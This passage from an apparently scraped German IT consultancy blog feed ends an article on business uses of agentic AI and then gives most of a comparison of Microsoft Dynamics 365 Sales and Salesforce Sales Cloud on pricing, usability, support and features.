schützen.\nGerade weil der Einsatz von Agentic AI so viele Möglichkeiten eröffnet, aber auch klare Anforderungen an Governance, Datenqualität und Sicherheit stellt, lohnt es sich, erfahrene Expertinnen und Experten mit ins Boot zu holen. Wir von der Objektkultur unterstützen Sie dabei, Potenziale realistisch einzuschätzen, mögliche Risikoquellen frühzeitig zu erkennen und Agentic AI sicher und gewinnbringend in Ihre bestehenden Prozesse zu integrieren. Nehmen Sie hier Kontakt mit uns auf.\n6. Beispiele – wo kann Agentic AI Unternehmen unterstützen? Die Einsatzmöglichkeiten für Agentic AI sind vielfältig und können in mehrere zentrale Anwendungsbereiche unterteilt werden:\nAgentic AI unterstützt Kundenservice und Support: Agentic AI kann eingehende Kundenanfragen über E-Mail, Chat oder Sprachsysteme analysieren, verstehen und in strukturierte Aufgaben übersetzen. Dabei erkennt die KI die Intention(en) hinter der Nachricht, zum Beispiel eine Reklamation, eine Anfrage zur Rechnung oder technischem Support – und kann automatisch die passenden Folgeprozesse anstoßen. Sie extrahiert relevante Informationen, schlägt passende Inhalte vor oder legt Supportanfragen direkt im CRM-System an. Routineanfragen werden dadurch effizient automatisiert, während sich Mitarbeitende komplexeren Fällen widmen können und der Front Desk entlastet wird sowie Kosten für Call-Center verringert werden können. Das reduziert nicht nur die Bearbeitungszeit, sondern steigert auch die Kundenzufriedenheit. Besonders in bestimmten Branchen kann Agentic AI für enorme Effizienzgewinne sorge:\nEnergiewirtschaft (z. B. Zählerstandsmeldung, Anbieterwechsel) Finanzdienstleistung (z. B. Kontoeröffnung, Rückfragen zu Transaktionen) Versicherungen (z. B. Schadenmeldungen, Vertragsänderungen) Telekommunikation (z. B. Rufnummernmitnahme, technische Probleme) Agentic AI unterstützt interne Geschäftsprozesse: Auch bei internen Unternehmensabläufen bringt Agentic AI erhebliche Vorteile. Standardprozesse wie Urlaubsanträge, Reisekostenabrechnungen oder IT-Support-Tickets lassen sich automatisiert erfassen, prüfen und weiterverarbeiten. Dabei sammelt die KI mithilfe von Schnittstellen zu unterschiedlichen Systemen die notwendigen Informationen, stellt sicher, dass alle Angaben vollständig sind und übergibt diese dann zur weiteren Verarbeitung. Über Schnittstellen zu HR-, ERP- oder ITSM-Systemen lassen sich so ganze Prozessketten automatisieren. Durch die Integration in Tools wie Microsoft Teams oder Outlook kann die Unterstützung direkt dort erfolgen, wo Mitarbeitende arbeiten z. B. durch Chat-Bots, die Urlaubsanträge entgegennehmen oder Statusabfragen ermöglichen.\nAgentic AI unterstützt IT und Security: Im Bereich IT und Security kann Agentic AI beispielsweise ungewöhnliche Aktivitäten, etwa verdächtige Login-Versuche oder Anomalien im Datenverkehr frühzeitig erkennen und darauf automatisiert reagieren etwa durch das Sperren eines Zugangs oder das Eskalieren an das Sicherheitsteam. Auch bei der Bearbeitung interner IT-Tickets kann sie Aufgaben automatisiert zuweisen oder Lösungsvorschläge aus vorhandenen Wissensdatenbanken anbieten. Der Vorteil liegt in der Reaktionsgeschwindigkeit und der Entlastung des IT-Supports bei Routinefällen.\nAgentic AI unterstützt HR \u0026amp; Recruiting: Im Personalbereich kann Agentic AI eingegangene Bewerbungen vorqualifizieren, Interviews terminieren oder Bewerberinformationen mit Unternehmensanforderungen abgleichen. Auch interne Anfragen zu HR-Prozessen etwa zur Lohnabrechnung, Weiterbildung oder Elternzeit können automatisiert beantwortet werden. So wird nicht nur der Recruiting-Prozess beschleunigt, sondern auch die Employee Experience verbessert, da Anfragen schneller und konsistenter bearbeitet werden.\nAgentic AI unterstützt Vertriebsautomatisierung und Marketing: Im Vertrieb kann Agentic AI unterstützen, Leads anhand von Nutzerverhalten zu bewerten und zu betreuen. Sie generiert automatisch Follow-up-E-Mails, erinnert an Kontaktaufnahmen oder legt Vertriebsaufgaben im CRM-System an. Dadurch verkürzen sich Vertriebszyklen und Conversion-Raten können steigen. Im Marketing kann Agentic AI Interaktionen wie Website-Besuche, Downloads oder Newsletter-Abos über verschiedene Kanäle hinweg analysieren und anschließend Kampagnen zum richtigen Zeitpunkt triggern – personalisiert und kontextbezogen. So können potenzielle Kundinnen und Kunden gezielter angesprochen und Streuverluste minimiert werden.\nAgentic AI unterstützt das CRM (Customer Relationship Management): Während Marketing und Vertrieb von Agentic AI vor allem im operativen Tagesgeschäft profitieren, liegt der Schwerpunkt im CRM-Bereich auf der intelligenten Steuerung von Kundenbeziehungen. Agentic AI hilft hier, große Mengen an Kundendaten aus verschiedenen Quellen zusammenzuführen und strategisch zu nutzen. Sie erkennt wiederkehrende Serviceprobleme, inaktive Kunden oder potenzielle Risiken und gibt dem Team konkrete Hinweise, wo Prioritäten gesetzt werden sollten. Außerdem können Beschwerden, Rückmeldungen oder Serviceanfragen automatisiert im CRM kategorisiert und an die richtigen Teams weitergeleitet werden. So wird das CRM mithilfe von Agentic AI vom bloßen Datenspeicher zu einem aktiven Werkzeug, das die Kundenbindung stärkt und das Team an den entscheidenden Stellen entlastet.\n7. Fazit Agentic AI ist mehr als nur ein Trend. Sie ist ein echter Mehrwert für Unternehmen, die ihre Prozesse effizienter und zukunftsfähiger gestalten wollen. Ob im Kundenservice, Vertrieb oder in internen Abläufen: Die Technologie hilft, Routinearbeiten zu automatisieren, Prozesse zu beschleunigen und dabei gleichzeitig die Qualität der Ergebnisse zu verbessern und das ganz ohne komplexen Programmieraufwand. Besonders lohnt sich der Einsatz von Agentic AI für Unternehmen, die bereits mit Microsoft-Technologien wie z. B. der Power Platform arbeiten oder ein CRM-System wie z. B. Microsoft Dynamics im Einsatz haben, da bestehende Datenquellen und Prozesse optimal genutzt und erweitert werden können.\nAber so viel Potenzial Agentic AI auch bietet, eine Sache darf nicht unterschätzt werden: Die Technologie ist nur so gut wie die Daten und Regeln, auf deren Basis sie arbeitet. Das bedeutet für Unternehmen: Wenn Daten und Systeme nicht integriert oder Daten fehlerhaft sind, kann die Technologie nicht wertschöpfend arbeiten oder es können falsche Entscheidungen getroffen werden. Deshalb braucht es klare Leitplanken, Sicherheitsmechanismen, eine saubere Datenstrategie im Unternehmen und die Bereitschaft, Mensch und Maschine sinnvoll zusammenarbeiten zu lassen. Unter anderem empfiehlt es sich Automatisierung mit AI zunächst intern zu verproben z. B. durch den Copilot for Customer Service, der internen Mitarbeitenden hilft, bevor die KI den Kunden direkt trifft.\nUnsere Expertinnen und Experten unterstützen Sie gerne dabei, das Potenzial von Agentic AI in Ihren Prozessen gewinnbringend einzusetzen, ihre Datenstrategie umzusetzen und potenzielle Risikoquellen zu beseitigen. Kontaktieren Sie uns bei Interesse. Hinweis: Headerbild ist designed bei www.freepik.com (nachbearbeitet). ","date":"16. Juni 2025","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/agentic-ai_hu6cc012f36a3b908908fd3bbaf0a150d5_981969_650x0_resize_q90_h2_box_3.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/agentic-ai_hu6cc012f36a3b908908fd3bbaf0a150d5_981969_650x0_resize_box_3.png'\"\u003e\n \n \n \n\n","permalink":"/was-ist-agentic-ai-wie-intelligente-automatisierung-bereits-heute-funktioniert/","tags":["automation","tooling"],"title":"Was ist Agentic AI? – Wie intelligente Automatisierung bereits heute funktioniert"},{"categories":["Quick-Tipps","Insights"],"contents":"Wir, die Autoren Anna Herp und Benjamin Cengic, vergleichen zwei große CRM-Systeme am Markt und geben unsere persönliche Einschätzung zu den Anwendungen. Wir zeigen, wie sich Microsoft Dynamics 365 und Salesforce Sales Cloud in Sachen Kosten, Funktionen, Benutzerfreundlichkeit, KI, Technik und Datenschutz unterscheiden – und worauf Sie bei der Auswahl achten sollten.\nInhalte 1. Vergleich von Microsoft Dynamics 365 und Salesforce Sales Cloud im Überblick 2. Kosten von Microsoft Dynamics und Salesforce 3. Benutzerfreundlichkeit \u0026 Support von Microsoft Dynamics und Salesforce Sales Cloud 4. Funktionen von Microsoft Dynamics und Salesforce 5. Künstliche Intelligenz KI bei Microsoft Dynamics 365 vs. Salesforce Sales Cloud 6. Technische Anforderungen von Microsoft Dynamics 365 vs. Salesforce Sales Cloud 7. Skalierbarkeit und Flexibilität von Microsoft Dynamics 365 vs. Salesforce Sales Cloud 8. Fazit 1. Vergleich von Microsoft Dynamics 365 und Salesforce Sales Cloud im Überblick Im Vergleich der führenden CRM-Systeme Salesforce und Microsoft Dynamics 365 (Statista, 2024) zeigt sich, dass beide Plattformen für B2C- und B2B-Unternehmen in allen Branchen geeignet sind und dabei umfassende Funktionen zur Optimierung von Kundenbeziehungen verfügen. Da die meisten auf dem Markt verfügbaren CRM-Systeme hauptsächlich Sales-Lösungen sind, ist es wichtig vorab zu betonen, dass in diesem Vergleich ausschließlich die Vertriebsfunktionalitäten (Sales-Module) der beiden Anbieter betrachtet werden. Andere Bereiche der klassischen CRM-Definition wie Marketing, Service und Support bleiben unberücksichtigt.\nSalesforce Salescloud ist zu Beginn eine kosteneffiziente Option für kleinere Unternehmen mit einfachen CRM-Anforderungen. Mit zunehmenden Anforderungen an Automatisierung und Integration zeigt sich Microsoft Dynamics 365 im Hinblick auf die Einstiegspreise für mittelständische und größere Unternehmen als potenziell vorteilhaft. Die strukturierte Preisgestaltung und der breite Funktionsumfang von Dynamics 365 Sales gelten in diesem Zusammenhang für viele Unternehmen als besonders attraktiv. Beide Systeme punkten mit benutzerfreundlichen Oberflächen und leistungsstarken KI-Tools.\nSalesforce bietet vorgefertigte, branchenspezifische CRM-Vorlagen, die insbesondere kleinen Unternehmen den Einstieg erleichtern können. Microsoft Dynamics 365 Sales überzeugt hingegen durch Flexibilität bei komplexeren Anpassungen, insbesondere durch die Nutzung etablierter Programmiersprachen wie C#.\nSowohl Microsoft als auch Salesforce bieten Cloud-Lösungen, die hohe Skalierbarkeit und Flexibilität gewährleisten. Dank ihrer Modularität können Unternehmen Funktionen nach Bedarf hinzufügen. Microsoft zeichnet sich zusätzlich durch eine umfangreiche Produktlandschaft und eine leistungsstarke Low-Code-Plattform aus, die über reine CRM-Funktionalitäten hinausgeht.\nIn puncto Datenschutz erfüllen beide Anbieter die DSGVO-Vorgaben. Microsoft bietet zudem eine On-Premise-Variante an, die Unternehmen mit besonders hohen Anforderungen an Datenschutz und Datensouveränität entgegenkommt, während Salesforce Salescloud ausschließlich als Cloud-Lösung verfügbar ist.\nZusammenfassend bieten beide Anbieter moderne und umfangreiche Lösungen für Unternehmen, die sich stetig weiterentwickeln. Ihre Orientierung an den Wettbewerbern zeigt sich in einem kontinuierlichen Streben, technische Vorteile des jeweils anderen zu übertreffen oder auszugleichen. Microsoft Dynamics 365 wird häufig aufgrund des guten Preis-Leistungs-Verhältnisses, der tiefen Integration in bestehende Microsoft-Infrastrukturen und der breiten Produktpalette geschätzt, die von CRM bis hin zu ERP reicht. Auch Salesforce bietet eine technisch ausgereifte und leistungsfähige Lösung, die Unternehmen bei der Bewältigung digitaler Kundenbeziehungsanforderungen wirkungsvoll unterstützt.\nMicrosoft Dynamics 365 Sales Salesforce Sales Cloud Kosten Höhere Einstiegskosten (Basispreis), jedoch mit umfangreicherem Funktionsumfang in der Startversion. Kostenvorteile in den Basispreisen bei höheren Lizenzstufen im Vergleich zu Salesforce. Transparente Preisstruktur mit geringerer Abhängigkeit von kostenpflichtigen Add-ons. Im Kontext der Basispreise ist die Starter-Version von Salesforce (25 €/Benutzer/Monat) deutlich günstiger als bei Microsoft Dynamics 365 Sales. Der Funktionsumfang dieser Version ist im Vergleich zu höheren Lizenzstufen jedoch auf grundlegende Anforderungen zugeschnitten. Die monatlichen Lizenzkosten (Basispreis) steigen zwischen den einzelnen Versionen deutlich an – in einigen Fällen auf das Zwei- bis nahezu Dreifache der vorherigen Version. Unternehmensgröße Flexibel einsetzbar für Unternehmen jeder Größe – insbesondere für wachstumsorientierte Unternehmen mit komplexen Geschäftsprozessen geeignet. Besonders geeignet für Organisationen, die bereits Microsoft-Produkte im Einsatz haben. Die Einstiegsversion eignet sich für kleinere Unternehmen oder Start-ups mit grundlegenden Anforderungen. Für mittelständische und große Unternehmen ist die Sales Cloud in höheren Versionen geeignet, wenn die Integration in die Microsoft Welt nicht im Vordergrund steht. Allerdings fallen im Kontext der Basispreise im Vergleich zu Microsoft Dynamics 365 Sales höhere Kosten an. Benutzeroberfläche Intuitive und einfach zu bedienende Benutzeroberfläche. Vertikale Seitenleiste zur Navigation mit vertrautem „Microsoft-Look-and-Feel“. Die Benutzeroberfläche ist übersichtlich gestaltet und orientiert sich an gängigen Standards in Bezug auf Bedienbarkeit. Die horizontale Navigationsleiste bietet strukturierte Drop-down-Menüs zur schnellen Navigation innerhalb des Systems. KI-Funktionalitäten Leistungsstarke KI-Tools für Lead-Bewertung, Verkaufsprognosen und Automatisierung von Kundeninteraktionen. Microsoft 365 Copilot hilft bei der Anpassung und Erweiterung in PowerApps und ermöglicht die Datenaktualisierung durch einfache Prompts. Microsoft Copilot Agents helfen, wiederkehrende Aufgaben wie Berichte erstellen oder Termine planen automatisch zu erledigen und machen die Zusammenarbeit in Apps wie Teams einfacher. Salesforce Einstein stellt KI-gestützte Funktionen zur Verfügung, ermöglicht jedoch keine tiefgreifende Systemanpassung durch direkte Prompteingaben. Im Vergleich zu Microsoft Copilot Agents, die vorrangig interne Arbeitsprozesse wie Berichterstellung und Teamorganisation unterstützen, fokussiert sich Salesforce Agentforce auf die Automatisierung externer, kundenbezogener Prozesse – etwa bei der Bearbeitung von Anfragen oder der Kommunikation per E-Mail – mit direkter Anbindung an das CRM-System. Integration Zahlreiche Konnektoren zur Integration externer Anwendungen über Power Automate oder Azure Logic Apps. Tiefgreifende Anpassung möglich durch die Verwendung von Programmiersprachen wie C#. Nahtlose Integration in ggf. vorhandene Microsoft-Infrastrukturen. Es stehen zahlreiche Konnektoren zur Verfügung, um externe Anwendungen zu integrieren. Für benutzerdefinierte Integrationen sind jedoch in vielen Fällen Kenntnisse in der proprietären Programmiersprache Apex erforderlich, was die technische Komplexität erhöhen kann. Technische Anpassbarkeit Flexible Anpassungen durch PowerApps (Teil der Power Platform). Sicheres Testing durch Entwicklungs-, Test- und Produktionsumgebung innerhalb Power Apps. Unterstützung durch C# und breite Entwickler-Community. Anpassungen lassen sich direkt im System vornehmen. Für umfassendere oder tiefergehende Anpassungen ist die Nutzung von Apex notwendig. Im Vergleich zu verbreiteten Programmiersprachen wie C# ist die Entwickler-Community kleiner. Skalierbarkeit Hohe Skalierbarkeit dank modularer Struktur und Cloud-Plattform. Erhöhtes Nutzerwachstum durch Planung und Anpassung von Ressourcen möglich, dadurch größere Kostenkontrolle. Über CRM hinausgehende Anwendungen (z. B. HR, ERP) und stärkere Low-Code-Integration via Power Platform. Gemäß Gartner ist Microsoft Leader im Bereich Low-Code-Entwicklung (Anpassung- und Erweiterungsmöglichkeiten von Dynamics 365-Funktionalitäten via Low-Code). Ebenfalls hohe Skalierbarkeit und Flexibilität durch Cloud-Plattform und modulare Struktur. Die Funktionalitäten der Lösung sind stark auf die Bereiche Customer Relationship Management (CRM) und Marketingprozesse ausgerichtet. 2. Kosten von Microsoft Dynamics und Salesforce Preisübersicht Microsoft Dynamics 365 Sales (Basispreise) Abb. 1: Übersicht der Basispreise von Microsoft Dynamics 365 (Stand 01.2025, Quelle). Preisübersicht Salesforce Sales Cloud (Basispreise) Abb. 2: Übersicht der Basispreise von Salesforce Sales Cloud (Stand 01.2025, Quelle). Vergleich Kostenanstieg von Salesforce Sales Cloud Abb. 3: Kostenanstieg der Basispreise im Zusammenhang mit einem Versionsupgrade. Beim Vergleich der Einstiegspreise beider CRM-Anbieter fällt auf, dass Salesforce mit der Sales Cloud Starter Version (25 €/Benutzer/Monat) eine preislich niedrigere Einstiegslösung anbietet als Microsoft Dynamics 365 Sales Professional (60 €/Benutzer/Monat). Dieses Preisniveau kann insbesondere für kleinere Unternehmen mit weniger komplexen Anforderungen von Interesse sein. Dabei ist zu beachten, dass die Sales Cloud Starter Version im Vergleich zur Dynamics 365 Sales Professional Edition funktional eingeschränkter ist – insbesondere hinsichtlich der Integration von Drittanbieterlösungen sowie der Möglichkeit zur Erstellung oder Anpassung von Automatisierungsprozessen.\nKostenverlauf bei den umfangreicheren Lösungen Wenn man die Funktionalitäten beider Anbieter im Bereich der Automatisierung vergleicht, zeigt sich ab der Professional-Version ein Unterschied in der Preisstruktur. Dynamics 365 Sales bietet Automatisierungsfunktionen bereits in den Basispreisen zu geringeren Kosten als Salesforce. Beide Anbieter stellen entsprechende Funktionen ab ihrer Professional-Version bereit, jedoch bleibt Dynamics 365 Sales auch in den höheren Lizenzstufen in den monatlichen Lizenzkosten pro Benutzer unter den jeweiligen Versionen von Salesforce (siehe Abb. 3). Automatisierungsfunktionen umfassen beispielsweise die automatische Zuweisung eines eingehenden Leads an den zuständigen Vertriebsmitarbeiter basierend auf vordefinierten Regeln wie Region oder Lead-Kategorie. Ein weiteres Beispiel ist die automatische Erinnerung für einen Vertriebsmitarbeiter, wenn ein Kunde nach dem Versand eines Angebots nicht innerhalb eines definierten Zeitraums reagiert. Im Hinblick auf die jeweils umfassendsten Lizenzmodelle wird der Preisunterschied noch deutlicher: Microsoft Dynamics 365 Sales Premium kostet 140 €/Benutzer/Monat und liegt damit sowohl unterhalb der Salesforce Sales Cloud Enterprise Edition als auch deutlich unter der Salesforce Unlimited Edition. Letztere ist – bezogen auf die monatlichen Lizenzkosten – mehr als doppelt so teuer, wobei der Funktionsumfang je nach konkreter Nutzung und Konfiguration im Einzelfall verglichen werden sollte. Eine detaillierte Gegenüberstellung der spezifischen Funktionen beider Systeme finden Sie im Abschnitt Funktionsvergleich .\nAls IT-Dienstleistungsunternehmen nutzen wir, die Objektkultur, beispielsweise die Microsoft Enterprise Edition, da diese für unsere Bedürfnisse und Anforderungen vollkommen ausreicht.\nDoch wie sieht es mit versteckten Kosten aus? Salesforce stellt die individuelle Anpassbarkeit der Sales-Cloud-Lösung deutlich in den Vordergrund. Diese Flexibilität erfolgt häufig über zusätzliche Add-ons, was zu einem erweiterten Funktionsumfang führen kann, jedoch auch mit zusätzlichen Lizenzkosten verbunden ist. Die Standardversionen der Sales Cloud decken in der Regel zentrale CRM-Funktionalitäten ab. Im Vergleich zu Microsoft Dynamics 365 ist die Staffelung der Lizenzmodelle bei Salesforce stärker differenziert. Insbesondere bei der Starter-Version kann es bereits bei einfachen Anpassungsanforderungen oder der Integration externer Daten notwendig werden, auf eine höhere Version wie Sales Cloud Professional umzusteigen. Über die Plattform AppExchange bietet Salesforce die Möglichkeit, Funktionen durch kostenlose oder kostenpflichtige Add-ons gezielt zu erweitern – beispielsweise das Gebietsmanagement für den Außendienst. Dadurch lassen sich bestimmte Funktionalitäten ergänzen, ohne unmittelbar auf die nächsthöhere Lizenzstufe wie die Enterprise-Version wechseln zu müssen.\nAdd-ons vs. Upgrades – Flexibilität oder Intransparenz? Auch im Bereich der KI-Funktionalitäten folgt das Angebot bei Salesforce einem modularen Prinzip: Funktionen sind entweder in umfangreicheren Versionen enthalten oder können über separate Add-ons ergänzt werden. Dieses Modell ermöglicht eine individuelle Anpassung an konkrete Anforderungen. Gleichzeitig kann es zu zusätzlichem Planungsaufwand führen, da die Wahl zwischen Add-ons und höheren Lizenzstufen hinsichtlich der Gesamtkosten und des Funktionsumfangs sorgfältig abgewogen werden muss – sowohl bei der initialen Entscheidung als auch im Hinblick auf zukünftige Erweiterungen oder sich verändernde Anforderungen.\nKlare Preisstruktur und weniger Fragmentierung bei Dynamics 365 Sales Microsoft bietet mit AppSource ebenfalls eine Plattform für Geschäftsanwendungen, jedoch weist die Preisstruktur von Dynamics 365 Sales insgesamt eine andere Struktur auf als bei Salesforce, was die Vergleichbarkeit der Versionen und Optionen beeinflusst. Die Einstiegsversion von Dynamics 365 Professional ist teurer als die Salesforce Starter Version, bietet jedoch einen umfangreicheren Funktionsumfang, was dazu führen kann, dass der Bedarf für ein Upgrade in der Regel später auftritt. Die drei klar definierten Lizenzstufen bei Microsoft bieten eine weniger differenzierte Struktur der angebotenen Funktionen im Vergleich zu Salesforce. Dies kann in vielen Fällen die Entscheidung für ein Upgrade auf eine höhere Version vereinfachen. Add-ons werden in diesem Kontext hauptsächlich als Partnerlösungen betrachtet, die zusätzliche Anwendungsfälle oder branchenspezifische Lösungen abdecken. Dabei sollten Add-ons von Drittanbietern hinsichtlich des Datenschutzes geprüft werden.\nAbschließend ist zu betonen, dass sich alle oben genannten Kostenangaben auf die Basispreise beziehen. In der Praxis können die tatsächlichen Kosten jedoch variieren, abhängig von Faktoren wie dem Integrationsaufwand, den benötigten Funktionen oder auch möglichen Rabatten im Rahmen individueller Angebote. Eine präzise Kostenschätzung lässt sich daher erst treffen, sobald die technischen Anforderungen Ihres Unternehmens dem jeweiligen Anbieter vorliegen und erste Verkaufsgespräche stattgefunden haben.\n3. Benutzerfreundlichkeit \u0026amp; Support von Microsoft Dynamics und Salesforce Sales Cloud Benutzeroberfläche Dynamics 365 Sales Öffnet man Dynamics 365, erscheint zunächst das Sales Dashboard als Startseite, welches einen schnellen Überblick über die aktuellen Zahlen bietet. Durch die klar strukturierte vertikale Seitenleiste lässt sich zudem problemlos zwischen verschiedenen Menüpunkten wechseln, etwa zu Aufgaben, Aktivitäten oder einzelnen Datensätzen laufender Geschäfte und Bestandskunden.\nAbb. 4: Startseite von Dynamics 365 Sales Auch die einzelnen Seiten sind logisch und übersichtlich aufgebaut, sodass man sich schnell in den jeweiligen Bereichen zurechtfindet. Insgesamt wirkt die Benutzeroberfläche visuell ansprechend und ist sehr intuitiv. Besonders wenn man bereits mit anderen Microsoft-Produkten gearbeitet hat, kommt einem das „Look and Feel“ vertraut vor, was die Benutzererfahrung erheblich verbessert.\nAbb. 5: Leadseite von Dynamics 365 Sales Benutzeroberfläche der Sales Cloud Die Startseite von Sales Cloud bietet ähnlich wie Dynamics 365 einen guten Überblick mittels Dashboards und aufgabenbezogener Informationen. Im Gegensatz zu Microsoft löst Salesforce die Navigation jedoch durch eine horizontale Leiste, die oben im Layout verläuft. Darüber hinaus ermöglichen die Drop-down-Menüs in der Navigationsleiste einen schnellen Zugriff auf spezifische Datensätze oder Listen, wie beispielsweise Lead-Datensätze oder Lead-Listen.\nAbb. 6: Startoberfläche von Sales Cloud Die Struktur der Seiten in der Sales Cloud ähnelt stark der von Dynamics 365, wodurch sich auch hier eine schnelle Einarbeitung ermöglicht. Insgesamt lässt sich sagen, dass auch Sales Cloud eine gleichermaßen ansprechende und benutzerfreundliche Oberfläche bietet.\nAbb. 7: Leadoberfläche von Sales Cloud Wie gut sind die Lern- und Hilfsmaterialien? Sowohl Salesforce als auch Microsoft bieten beim ersten Öffnen ihrer CRM-Systeme eine geführte Tour an, die den Nutzern und Nutzerinnen hilft, sich schnell zurechtzufinden. Bei Salesforce wird bereits vor der Nutzung des Systems gemeinsam mit dem Vertriebsteam ermittelt, welche strategischen Ziele das Unternehmen verfolgt und wie Salesforce zur Erreichung dieser Ziele beitragen kann. Dies ermöglicht eine zielgerichtete Einführung in das System und die effiziente Nutzung des CRM.\nNeben diesen Einführungshilfen bieten beide Softwarehersteller auch Lernpfade auf ihren jeweiligen Plattformen an (Salesforce: Trailhead und Microsoft: Microsoft Learn), die es den Nutzern und Nutzerinnen ermöglichen, sich eigenständig fortzubilden. Beide Plattformen setzen dabei auf Gamification-Elemente, bei denen die Nutzer und Nutzerinnen durch das Absolvieren von Übungen Punkte sammeln, Ränge aufsteigen und Badges erhalten können. Zusätzlich gibt es spezielle Kurse zur Vorbereitung auf Zertifizierungen. Salesforce bietet darüber hinaus digitale und Live-Events, sowie einen eigenen Podcast an. Microsoft stellt ähnliche Ressourcen wie Webinare, Blogs und Podcasts, wie den „Azure Podcast“, zur Verfügung. Obwohl Microsofts Lernangebot aufgrund seines breiten Portfolios eine größere Vielfalt umfasst, bietet Salesforce im CRM-Kontext eine speziellere Auswahl an Lernpfaden, Modulen und zusätzlichen Ressourcen. Abschließend verfügen beide Anbieter über eigene Communities (Salesforce: Trailblazer Community, Microsoft: Dynamics 365 Community), an die sich Nutzer und Nutzerinnen bei Fragen wenden können und Antworten erhalten.\nWie gut sind die Dokus von Dynamics 365 und Sales Cloud? Vorab bietet Microsoft eine sehr umfangreiche Sammlung an Produktdokus, welche ihre ganze Palette an Lösungen abdeckt. Auch in der Tiefe sind die Dokumentationen gut ausgearbeitet. Besonders hervorzuheben ist bei der Dynamics 365 Sales Produktdokumentation die Struktur der einzelnen Hauptkategorien, bei welcher man durch kleine Felder zwar Informationen zu den Ersten Schritten, Neuigkeiten, Trainings oder Konzepte zur Fehlerbehandlung erhält, der Fokus jedoch in der Unterteilung von Implementierung, Verwaltung und Entwicklung sowie in der Verwendung des Systems liegt. Salesforce behandelt diese Themen zwar auch auf ihrer Hauptkategorieseite, jedoch mit einem anderen Fokus in der Strukturierung.\nDie Seiten von Microsoft sind insgesamt übersichtlicher gegliedert. Während Salesforce vor allem mit Auflistungen und Querverweisen arbeitet, bieten die Seiten von Microsoft umfangreiche Beiträge, die eine einleitende Gliederung, Tabellen, Screenshots und nützliche Boxen mit Tipps und wichtigen Informationen enthalten. Die Seitenleiste erleichtert die Navigation durch die Dokumentation, die in die Bereiche Administrationshandbuch, Verkaufsleitfaden und Entwicklerhandbuch unterteilt ist. Dies ermöglicht eine schnelle Zuordnung der relevanten Inhalte zu den jeweiligen Zielgruppen.\nAbb. 8: Navigationsleiste in der Dokumentation von Sales Cloud Abb. 9: Navigationsleiste in der Dokumentation von Dynamics 365 Sales Obwohl auch die Salesforce-Dokumentation auf verschiedene IT-Kenntnisse ausgerichtet ist, zeigt sich keine vergleichbare Strukturierung wie bei Microsoft. Ein Vorteil der Salesforce-Dokumentation ist jedoch die Suchfunktion: Beide Anbieter bieten eine Suchleiste, um gezielt nach Informationen zu suchen. Bei Salesforce werden in den Suchergebnissen zusätzlich Lernpfade sowie Community-Fragen und -Antworten angezeigt. Microsoft zeigt ebenfalls Fragen und Antworten an, jedoch beziehen sich diese nicht auf die Dynamics 365 Community.\nCustomer Support Microsoft Dynamics vs. Salesforce Microsoft Dynamics 365 und Salesforce bieten beide umfassenden Support, der jedoch unterschiedlich strukturiert und preislich gestaltet ist. Microsoft stellt seinen Unified Support zur Verfügung, der eine zentrale Anlaufstelle für alle Microsoft-Dienste wie Office 365, Azure und Dynamics 365 bietet. Während viele grundlegende Support-Dienste bereits im Lizenzpreis von Microsoft Dynamics 365 enthalten sind, ermöglicht der Dynamics-spezifische Premium Support (Professional Direct-Support) gegen Aufpreis zusätzliche Leistungen, wie etwa einen 24/7-Support sowie schnellere Reaktionszeiten und maßgeschneiderte Beratung. Unternehmen können somit erweiterte Funktionen nach Bedarf hinzu buchen, ohne auf teure, pauschale Premium-Optionen angewiesen zu sein. DDiese Flexibilität ermöglicht es Unternehmen, den Supportbedarf gezielt zu decken, insbesondere für Unternehmen, die bereits in die Microsoft-Welt integriert sind.\nSalesforce setzt hingegen auf spezialisierte, kostenpflichtige Support-Pläne, die je nach Abonnement-Modell variieren. Der Salesforce Success Plan beinhaltet neben technischer Unterstützung auch strategische Beratung, während der Premier Support und Signature Success Plan eine 24/7-Betreuung bieten. Die Zusatzpakete können jedoch in einigen Fällen die Gesamtkosten der Plattform beeinflussen, insbesondere für größere Unternehmen mit höherem Supportbedarf.\n4. Funktionen von Microsoft Dynamics und Salesforce Welche Funktionen muss ein CRM-System im Sales-Bereich überhaupt haben? Um einen potenziellen Kunden effizient in Umsatz zu wandeln braucht ein CRM-System mindestens folgende Funktionalitäten:\nLeadmanagement: Erfassung, Qualifizierung, Verfolgung und Pflege von Leads (potenziellen Käufern). Kontaktmanagement: Verwaltung und Pflege von Kundenkontakten. Pipeline Management: Verfolgung und Verwaltung von Verkaufschancen. Task Management: Verwaltung und Verfolgung von Aufgaben. E-Mail-Integration: Einbindung von E-Mail-Kommunikation in das CRM-System. Berichte und Analysen: Erstellung und Analyse von Berichten zur Leistungsbewertung. Darüber hinaus vorteilhaft sind:\nAngebotsmanagement: Erstellung und Verwaltung von Angeboten. Workflow Automation: Automatisierung von Geschäftsprozessen. Customization: Anpassung des CRM-Systems an spezifische Geschäftsanforderungen. Third Party Integration: Anbindung an externe Software und Systeme. Mobile Application: Zugriff auf das CRM-System über mobile Geräte. Offline-Fähigkeit: Nutzen der mobilen Application im Offline-Modus. Vorhersagen: Prognose zukünftiger Verkaufszahlen und Trends. Lead-Scoring: Bewertung und Priorisierung von Leads. Opportunity-Scoring: Bewertung und Priorisierung von Verkaufschancen. Zielmanagement: Erstellen sowie Verwalten von Unternehmenszielen. Gebietsmanagement: Verwaltung und Zuweisung von Verkaufsgebieten. Kalendermanagement: Verwaltung und Organisation von Terminen. Verwaltung von Dokumenten: Organisation und Speicherung von Dokumenten. Im Kontext der Vergleichstabelle (siehe Abb. 10) lag der Fokus darauf, die genannten Funktionalitäten zu analysieren und dabei vergleichbare Versionen der beiden Anbieter hinsichtlich ihres Funktionsumfangs gegenüberzustellen.\nAbb. 10: Vergleich Funktionen in Dynamics 365 vs. Salesforce Sales Cloud (Quelle) 5. Künstliche Intelligenz (KI) bei Microsoft Dynamics 365 vs. Salesforce Sales Cloud Leistungsstarke KI-Tools im Verkaufsprozess Sowohl Dynamics 365 als auch Salesforce bieten leistungsstarke KI-Tools, die im Kontext des Verkaufsprozesses besonders bei der Lead-Bewertung, der Verkaufsprognose und der Automatisierung von Kundeninteraktionen zum Einsatz kommen. Mit dem Copiloten beider Anbieter wird dem Nutzer des jeweiligen Systems 